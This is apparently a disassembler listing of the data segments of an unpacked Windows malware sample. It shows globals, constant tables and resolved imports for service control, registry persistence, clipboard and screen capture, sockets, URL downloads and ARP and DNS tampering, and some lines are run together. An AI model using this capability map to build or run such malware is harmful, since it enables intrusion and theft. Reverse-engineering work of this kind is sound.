		dd 8, 41CAA4h, 9, 41CA78h, 0Ah,	41CA54h, 10h, 41CA28h
		dd 11h,	41C9F8h, 12h, 41C9D4h, 13h, 41C9A8h, 18h, 41C970h
		dd 19h,	41C948h, 1Ah, 41C910h, 1Bh, 41C8D8h, 1Ch, 41C8B0h
		dd 78h,	41C8A0h, 79h, 41C890h, 7Ah, 41C880h, 0FCh, 41F6ACh
		dd 0FFh, 41C870h
off_42E888	dd offset dword_45FB40	; DATA XREF: sub_417C59+1Bo
					; seg000:00418018o
		align 10h
		dd offset dword_45FB40
		dd 101h
dword_42E898	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_42E8A8	dd 3 dup(0)						; sub_4172B4+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_42E8C8	dd 3 dup(0)						; sub_4172B4:loc_4172D2o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_42E8F8	dd 84h dup(0)	dword_42EB08	dd 2694h						; sub_4140A4+46r ...
		align 10h
dword_42EB10	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42EB28	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42EB40	dd 7080h						; seg000:00418BE0w ...
dword_42EB44	dd 1							; seg000:00418C0Dw ...
dword_42EB48	dd 0FFFFF1F0h						; seg000:00418C16w ...
dword_42EB4C	dd 545350h, 0Fh	dup(0)dword_42EB8C	dd 544450h, 0Fh	dup(0)off_42EBCC	dd offset dword_42EB4C	; DATA XREF: seg000:00418C3Cr
					; seg000:00418C5Br ...
off_42EBD0	dd offset dword_42EB8C	; DATA XREF: seg000:00418C76r
					; seg000:00418C9Dr ...
		align 8
dword_42EBD8	dd 0FFFFFFFFh						; sub_418DE0+1Er ...
dword_42EBDC	dd 0							; sub_418F8C+BFw
dword_42EBE0	dd 0							; sub_418F8C+E0w
		align 8
dword_42EBE8	dd 0FFFFFFFFh						; sub_418DE0+26r ...
dword_42EBEC	dd 0							; sub_418F8C+EAw ...
dword_42EBF0	dd 0							; sub_418F8C+23r ...
dword_42EBF4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_42EC24	dd 16Dh							; sub_418F8C+2Er ...
dword_42EC28	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_42EC60	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42EDC0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41A599+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_42EF20	dd offset off_41CC94	; DATA XREF: seg001:off_41CCB8o
					; seg001:0041CDE4o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_42EF38	dd offset off_41CC94	; DATA XREF: seg001:off_41CCD0o
					; seg001:0041CD64o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_42EF58	dd offset off_41CC94	; DATA XREF: seg001:off_41CCE8o
					; seg001:0041CD2Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_42EF78	dd offset off_41CC94	; DATA XREF: seg001:off_41CD70o
					; seg001:0041CDB4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_42EF98	dd offset off_41CC94	; DATA XREF: seg001:off_41CDF0o
					; seg001:0041CE2Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41891C
		dd 10Ah	dup(0)
dword_42F3DC	dd 2 dup(0)	dword_42F3E4	dd 0							; seg000:0040E180o ...
dword_42F3E8	dd 0							; sub_4048A1+74o ...
dword_42F3EC	dd 0							; sub_403790+51r ...
dword_42F3F0	dd 0							; sub_40318D+6Bw ...
		align 8
dword_42F3F8	dd 0							; sub_4053D6+92w ...
dword_42F3FC	dd 0							; sub_40550F+2EDw ...
		dd 256h	dup(0)
dword_42FD58	dd 6 dup(0)						; sub_40550F+138o ...
dword_42FD70	dd 0							; seg000:004050FCo
dword_42FD74	dd 41h dup(0)	dword_42FE78	dd 41h dup(0)	dword_42FF7C	dd 0							; seg000:0040510Er
dword_42FF80	dd 0		dword_42FF84	dd 0							; seg000:004050C9r
dword_42FF88	dd 20h dup(0)						; seg000:004050B4o
dword_430008	dd 0		dword_43000C	dd 0							; seg000:004050C1w
dword_430010	dd 0				align 8
dword_430018	dd 0							; seg000:00405328o
dword_43001C	dd 0A2h	dup(0)	dword_4302A4	dd 41h dup(0)	dword_4303A8	dd 0							; seg000:004052DBr
		align 10h
dword_4303B0	dd 0							; seg000:0040533Ar
dword_4303B4	dd 0		dword_4303B8	dd 0		dword_4303BC	dd 0				dd 0
dword_4303C4	dd 0		dword_4303C8	dd 0							; seg000:0040521Bo
dword_4303CC	dd 41h dup(0)	dword_4304D0	dd 41h dup(0)	dword_4305D4	dd 0							; seg000:0040522Dr
dword_4305D8	dd 0		dword_4305DC	dd 0		dword_4305E0	dd 20h dup(0)						; seg000:004051D3o
dword_430660	dd 0		dword_430664	dd 0							; seg000:004051E0w
dword_430668	dd 0				align 10h
dword_430670	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_405D8E+473r
dword_430674	dd 7C864230h	; resolved to->KERNEL32.Module32First					; seg000:0040F4E2r
dword_430678	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_405D8E+808r ...
dword_43067C	dd 5B894364h						; sub_405D8E+9BEr ...
dword_430680	dd 5B86FEB8h						; sub_405D8E+98Er ...
dword_430684	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_405D8E+463r
dword_430688	dd 5B894160h						; sub_405D8E+9B6r ...
dword_43068C	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_405D8E+34Fr ...
dword_430690	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_40799C+11Er
dword_430694	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_405D8E+357r ...
dword_430698	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40E9DB+ADr
dword_43069C	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_405D8E+4E2w
dword_4306A0	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_405D8E+D2r ...
dword_4306A4	dd 5B86FDE8h						; sub_405D8E+981r ...
dword_4306A8	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_405D8E+36Fr ...
dword_4306AC	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_405D8E+834r
dword_4306B0	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_405D8E+27Cr
dword_4306B4	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_405D8E+82Cr ...
dword_4306B8	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_4306BC	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_405D8E+83Cr
dword_4306C0	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_405D8E+4D5w ...
dword_4306C4	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_405D8E+CAr ...
dword_4306C8	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; seg000:004075F5r
dword_4306CC	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_405D8E+A13r ...
dword_4306D0	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_405D8E+F2r
dword_4306D4	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_405D8E+45Br
dword_4306D8	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_405D8E+57Ew ...
dword_4306DC	dd 5B8A3009h						; sub_405D8E+9AEr
dword_4306E0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_405D8E+6DCr
dword_4306E4	dd 71B25099h	dword_4306E8	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_405D8E+7F5r
dword_4306EC	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_4070B7+15r
dword_4306F0	dd 5B868E65h						; sub_405D8E+996r ...
dword_4306F4	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_405D8E+35Fr ...
dword_4306F8	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_405D8E+367r ...
dword_4306FC	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_430700	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; seg000:loc_401B70r ...
dword_430704	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_430708	dd 5B894541h						; sub_405D8E+9C6r ...
dword_43070C	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_405D8E+284r ...
dword_430710	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_405D8E+DAr ...
dword_430714	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_405D8E+B1Br ...
dword_430718	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; seg000:004018F9r ...
dword_43071C	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_405D8E+818r
dword_430720	dd 5B897BE9h						; sub_405D8E+99Er
dword_430724	dd 74344AE7h						; sub_405D8E+BB6r
dword_430728	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_405D8E+8B6r ...
dword_43072C	dd 74327E4Dh	dword_430730	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; seg000:004014FCr ...
dword_430734	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_405D8E+7FBr
dword_430738	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_405D8E+1C2r
dword_43073C	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_405D8E+72Cr ...
dword_430740	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4048A1+62r ...
dword_430744	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_405D8E+664r
dword_430748	dd 0CC0004h						; sub_405D8E:loc_40660Fw ...
dword_43074C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_405D8E+26Cr ...
dword_430750	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_405D8E+627w ...
dword_430754	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_405D8E+2C9r ...
dword_430758	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_405D8E+377r ...
dword_43075C	dd 743452A3h						; sub_405D8E+BAEr
dword_430760	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_405D8E+810r
dword_430764	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_405D8E+1D2r ...
dword_430768	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_405D8E+820r
dword_43076C	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_405D8E+6FCr
dword_430770	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_40801D+5Ar ...
dword_430774	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; seg000:004014F1r ...
dword_430778	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_405D8E+2BCr ...
dword_43077C	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405472+82r ...
dword_430780	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_405D8E+436r
dword_430784	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_405D8E+1DAr ...
dword_430788	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_405D8E+342r ...
dword_43078C	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_430790	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; seg000:00401A3Cr ...
dword_430794	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; seg000:0040114Fr ...
dword_430798	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_405D8E+C2r ...
dword_43079C	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_405D8E+453r
dword_4307A0	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_405D8E+1BAr ...
dword_4307A4	dd 5B8A5199h						; sub_40F2C4+72r
dword_4307A8	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_405D8E+734r
dword_4307AC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4038A7+1C0r ...
dword_4307B0	dd 74343318h						; sub_405D8E+BBEr
dword_4307B4	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_405D8E+BAr ...
dword_4307B8	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_405D8E+274r ...
dword_4307BC	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_405982+9Cr ...
dword_4307C0	dd 71AB3E00h	; resolved to->WS2_32.bind					; seg000:00404AC6r ...
dword_4307C4	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; seg000:0040862Er
dword_4307C8	dd 0		dword_4307CC	dd 743527D4h						; sub_405D8E+B99r
dword_4307D0	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; seg000:00401DB4r ...
dword_4307D4	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_405D8E+443r
dword_4307D8	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_405D8E+46Br
dword_4307DC	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_405D8E+44Br
dword_4307E0	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402773+35r ...
dword_4307E4	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_405D8E+1E2r ...
dword_4307E8	dd 5B86AA41h						; sub_405D8E+9CEr ...
dword_4307EC	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_405D8E+1ADr ...
dword_4307F0	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_405D8E+E2r ...
dword_4307F4	dd 71AB2C69h	; resolved to->WS2_32.sendto					; seg000:00401FF8r ...
dword_4307F8	dd 71B2547Ah						; sub_405D8E+AD6r
dword_4307FC	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_40F382+55r
dword_430800	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_405D8E+25Fr ...
dword_430804	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_430808	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_407357+CEr
dword_43080C	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_405D8E+A5Dr ...
dword_430810	dd 71AB3B91h	; resolved to->WS2_32.socket					; seg000:00401C2Br ...
dword_430814	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_405D8E+61Aw ...
dword_430818	dd 7432FF6Bh						; sub_405D8E+BA6r
dword_43081C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_40550F+86r ...
dword_430820	dd 5B867750h						; sub_405D8E+9A6r ...
dword_430824	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_405982+B3r ...
dword_430828	dd 71AB9639h	; resolved to->WS2_32.closesocket					; seg000:00401B69r ...
dword_43082C	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_4038A7+39Fr ...
dword_430830	dd 71B2578Ch						; sub_405D8E+ACEr
dword_430834	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; seg000:00401919r ...
dword_430838	dd 71B2517Fh						; sub_405D8E+AC1r
dword_43083C	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_405D8E+ADr ...
dword_430840	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_405D8E+1CAr
		align 8
dword_430848	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_405D8E+8C3r ...
dword_43084C	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_405D8E+EAr ...
dword_430850	dd 0							; sub_405D8E+12Bw ...
dword_430854	dd 0							; sub_406977+1Cr
dword_430858	dd 0							; sub_406977:loc_4069BFr
dword_43085C	dd 0							; sub_406977+50r
dword_430860	dd 0							; sub_405D8E:loc_406063w ...
dword_430864	dd 0							; sub_406977+84r
dword_430868	dd 0							; sub_406977:loc_406A27r
dword_43086C	dd 0							; sub_406977+B8r
dword_430870	dd 0							; sub_406977:loc_406A5Br
dword_430874	dd 0							; sub_406977+ECr
dword_430878	dd 0							; sub_405D8E+877w ...
dword_43087C	dd 0							; sub_406977+120r
dword_430880	dd 0							; sub_406977:loc_406AC3r ...
dword_430884	dd 0							; sub_406977+154r
dword_430888	dd 0							; sub_406977:loc_406AF7r ...
dword_43088C	dd 0							; sub_406977+188r
dword_430890	dd 0							; sub_406977:loc_406B2Br
dword_430894	dd 0							; sub_406977+1BCr
dword_430898	dd 0							; sub_406977:loc_406B5Fr
dword_43089C	dd 0							; sub_406977+1F0r
dword_4308A0	dd 0							; sub_406977:loc_406B93r
dword_4308A4	dd 0							; sub_406977+224r
dword_4308A8	dd 0							; sub_406977:loc_406BC7r
dword_4308AC	dd 0							; sub_406977+258r
dword_4308B0	dd 0							; sub_406977:loc_406BFBr
dword_4308B4	dd 0							; sub_406977+28Cr
		dd 83h dup(0)
dword_430AC4	dd 5 dup(0)	dword_430AD8	dd 0Eh dup(0)	dword_430B10	dd 1000h dup(0)						; sub_407EAEo ...
dword_434B10	dd 0							; sub_407EAE+Eo ...
dword_434B14	dd 0Eh dup(0)	dword_434B4C	dd 3 dup(0)	dword_434B58	dd 0							; sub_407D16+44r ...
		dd 5 dup(0)
dword_434B70	dd 0							; seg000:00409C8Fr
		dd 2D9h	dup(0)
dword_4356D8	dd 0							; sub_407D16+2Do ...
		dd 7Fh dup(0)
dword_4358D8	dd 0							; sub_4100F2+40w ...
dword_4358DC	dd 0							; sub_40550F:loc_405556r ...
dword_4358E0	dd 0							; sub_4100F2+3Ar ...
dword_4358E4	dd 0							; seg000:00404A94w ...
dword_4358E8	dd 0							; seg000:00405D44r ...
dword_4358EC	dd 0							; seg000:0040511Cw ...
byte_4358F0	db 0			; DATA XREF: sub_4090B0+91o
					; seg000:0040BD1Fr ...
		align 4
		dd 3F97h dup(0)
dword_445750	dd 651Eh dup(0)	dword_45EBC8	dd 2FE1h						; sub_4089FD+132w ...
		align 10h
dword_45EBD0	dd 0		dword_45EBD4	dd 20h dup(0)						; sub_4089FD+616o ...
dword_45EC54	dd 10h dup(0)						; seg000:00409C14o
dword_45EC94	dd 24h dup(0)	dword_45ED24	dd 0							; sub_4089FD+62Dw ...
dword_45ED28	dd 0				dd 3 dup(0)
		dd 0
dword_45ED3C	dd 0							; seg000:00409606r
byte_45ED40	db 0			; DATA XREF: sub_409218+28r
					; sub_409218+30o
		align 8
dword_45ED48	dd 0							; sub_4089FD+5E1r ...
dword_45ED4C	dd 0							; seg000:00409BB8r
dword_45ED50	dd 17h dup(0)						; sub_40E52B+131o ...
dword_45EDAC	dd 7 dup(0)						; sub_40F2C4+A5o
dword_45EDC8	dd 0							; sub_41021E+19o
dword_45EDCC	dd 78h dup(0)	dword_45EFAC	dd 0							; sub_40E8A5+4Dr ...
dword_45EFB0	dd 17h dup(0)						; sub_40F190+12Do
dword_45F00C	dd 80h dup(0)						; sub_40E7E6+7Do ...
byte_45F20C	db 0			; DATA XREF: sub_40E8A5+29r
					; sub_40E8A5+34w
		align 10h
dword_45F210	dd 80h dup(0)						; sub_40EAFC+88o ...
dword_45F410	dd 81h dup(0)						; sub_40E402+50o ...
dword_45F614	dd 84h dup(0)	dword_45F824	dd 0		dword_45F828	dd 0							; sub_411914+A4w
		align 10h
word_45F830	dw 0			; DATA XREF: sub_411914+55r
					; sub_411914+9Ao
word_45F832	dw 0			; DATA XREF: sub_411914+48r
		db 2 dup(0)
word_45F836	dw 0			; DATA XREF: sub_411914+3Br
word_45F838	dw 0			; DATA XREF: sub_411914+2Er
word_45F83A	dw 0			; DATA XREF: sub_411914+21r
		align 10h
dword_45F840	dd 0							; sub_411C60+91w
dword_45F844	dd 0							; seg000:loc_411E7Aw ...
dword_45F848	dd 0							; sub_416300:loc_41639Aw ...
dword_45F84C	dd 0		dword_45F850	dd 0A28h	dword_45F854	dd 501h		dword_45F858	dd 5		dword_45F85C	dd 1		dword_45F860	dd 1		dword_45F864	dd 0AD0ED0h						; sub_4089FD+410r ...
		dd 0
dword_45F86C	dd 0AD0D70h						; sub_41A1B6+9r ...
dword_45F870	dd 0		dword_45F874	dd 0							; sub_41A654+4r ...
		dd 0
		dd offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_45F884	db 0			; DATA XREF: sub_4125E9+2Dw
					; seg000:0041806Dr
		align 4
dword_45F888	dd 0		dword_45F88C	dd 0							; sub_4125E9+8Bw
dword_45F890	dd 0							; seg000:loc_4175AEr ...
		align 8
dword_45F898	dd 0		dword_45F89C	dd 0							; sub_41237F:loc_41247Br ...
dword_45F8A0	dd 0		dword_45F8A4	dd 0							; sub_414B6D+1Ar ...
byte_45F8A8	db 0			; DATA XREF: sub_414A69+3r
					; sub_414A69+98r ...
		align 4
dword_45F8AC	dd 0							; sub_414C4B+21w ...
byte_45F8B0	db 0			; DATA XREF: sub_414C4B+51w
		align 4
dword_45F8B4	dd 0							; sub_41521C+3Ar ...
dword_45F8B8	dd 0							; sub_41521C+43r ...
dword_45F8BC	dd 0							; sub_414FE8+5r
dword_45F8C0	dd 0		dword_45F8C4	dd 1							; seg000:00416BE0w ...
		align 10h
dword_45F8D0	dd 0							; sub_412027+9Dr ...
		align 10h
dword_45F8E0	dd 0							; sub_4128E9+BFr ...
		align 8
dword_45F8E8	dd 1							; seg000:00416F80w ...
dword_45F8EC	dd 0				dd 0
dword_45F8F4	dd 0							; seg000:004173C4w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: seg002:0045F87Co
		align 4
		dd 3Ah dup(0)
dword_45F9FC	dd 1							; seg000:00417883w ...
dword_45FA00	dd 0		dword_45FA04	dd 0							; sub_4172B4:loc_4172DDw ...
dword_45FA08	dd 1							; seg000:loc_41814Ew
		align 10h
word_45FA10	dw 0			; DATA XREF: sub_4187F9+1Ao
					; sub_4187F9+46r
byte_45FA12	db 0			; DATA XREF: sub_4187F9+39r
		align 4
dword_45FA14	dd 7 dup(0)	dword_45FA30	dd 0							; sub_4187F9+5Co
dword_45FA34	dd 0		dword_45FA38	dd 0		dword_45FA3C	dd 0		dword_45FA40	dd 77C2807Ch						; sub_41891C+38r ...
		align 8
dword_45FA48	dd 0							; seg000:00418BE5w ...
		align 10h
dword_45FA50	dd 0							; seg000:00418BC8r
dword_45FA54	dd 10h dup(0)	word_45FA94	dw 0			; DATA XREF: sub_418DE0+A8r
word_45FA96	dw 0			; DATA XREF: seg000:00418BD6r
					; sub_418DE0+DBr ...
word_45FA98	dw 0			; DATA XREF: sub_418DE0+CAr
word_45FA9A	dw 0			; DATA XREF: sub_418DE0+D3r
					; sub_418DE0:loc_418ED2r
word_45FA9C	dw 0			; DATA XREF: sub_418DE0+C0r
word_45FA9E	dw 0			; DATA XREF: sub_418DE0+B8r
word_45FAA0	dw 0			; DATA XREF: sub_418DE0+B0r
word_45FAA2	dw 0			; DATA XREF: sub_418DE0+9Er
dword_45FAA4	dd 0		dword_45FAA8	dd 10h dup(0)	word_45FAE8	dw 0			; DATA XREF: sub_418DE0+46r
word_45FAEA	dw 0			; DATA XREF: seg000:loc_418BF9r
					; sub_418DE0+78r ...
word_45FAEC	dw 0			; DATA XREF: sub_418DE0+67r
word_45FAEE	dw 0			; DATA XREF: sub_418DE0+70r
					; sub_418DE0:loc_418E64r
word_45FAF0	dw 0			; DATA XREF: sub_418DE0+5Dr
word_45FAF2	dw 0			; DATA XREF: sub_418DE0+55r
word_45FAF4	dw 0			; DATA XREF: sub_418DE0+4Dr
word_45FAF6	dw 0			; DATA XREF: sub_418DE0+3Er
dword_45FAF8	dd 0		dword_45FAFC	dd 0							; seg000:loc_418CCEr ...
dword_45FB00	dd 0		dword_45FB04	dd 0		dword_45FB08	dd 0							; sub_4195E1+2Ew ...
dword_45FB0C	dd 0							; sub_4195E1:loc_419630r
dword_45FB10	dd 0							; sub_4195E1+60r
dword_45FB14	dd 0							; sub_41A044+6Do
dword_45FB18	dd 0							; sub_41A044+44o
dword_45FB1C	dd 0							; sub_41A044+37o
dword_45FB20	dd 0							; sub_41A044+51o
		align 8
dword_45FB28	dd 0		dword_45FB2C	dd 0							; seg000:0041A780w ...
byte_45FB30	db 1			; DATA XREF: sub_40316Cr sub_40316C+9w ...
		align 4
dword_45FB34	dd 0AC4968h						; sub_41692A+14r ...
		align 10h
dword_45FB40	dd 400h	dup(0)						; seg002:0042E890o
dword_460B40	dd 200h							; sub_41647E+56r ...
		dd 7 dup(0)
dword_460B60	dd 0AD0EF0h						; sub_4164EB+75r ...
		dd 3Fh dup(0)
dword_460C60	dd 20h							; sub_4165C4+Cr ...
dword_460C64	dd 4E4h							; sub_416DE3+65w ...
		align 10h
dword_460C70	dd 3 dup(0)						; sub_416DE3+171o ...
dword_460C7C	dd 0							; sub_416DE3+15Dw ...
byte_460C80	db 0			; DATA XREF: sub_417022:loc_41712Ew
					; sub_417022:loc_41714Bw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
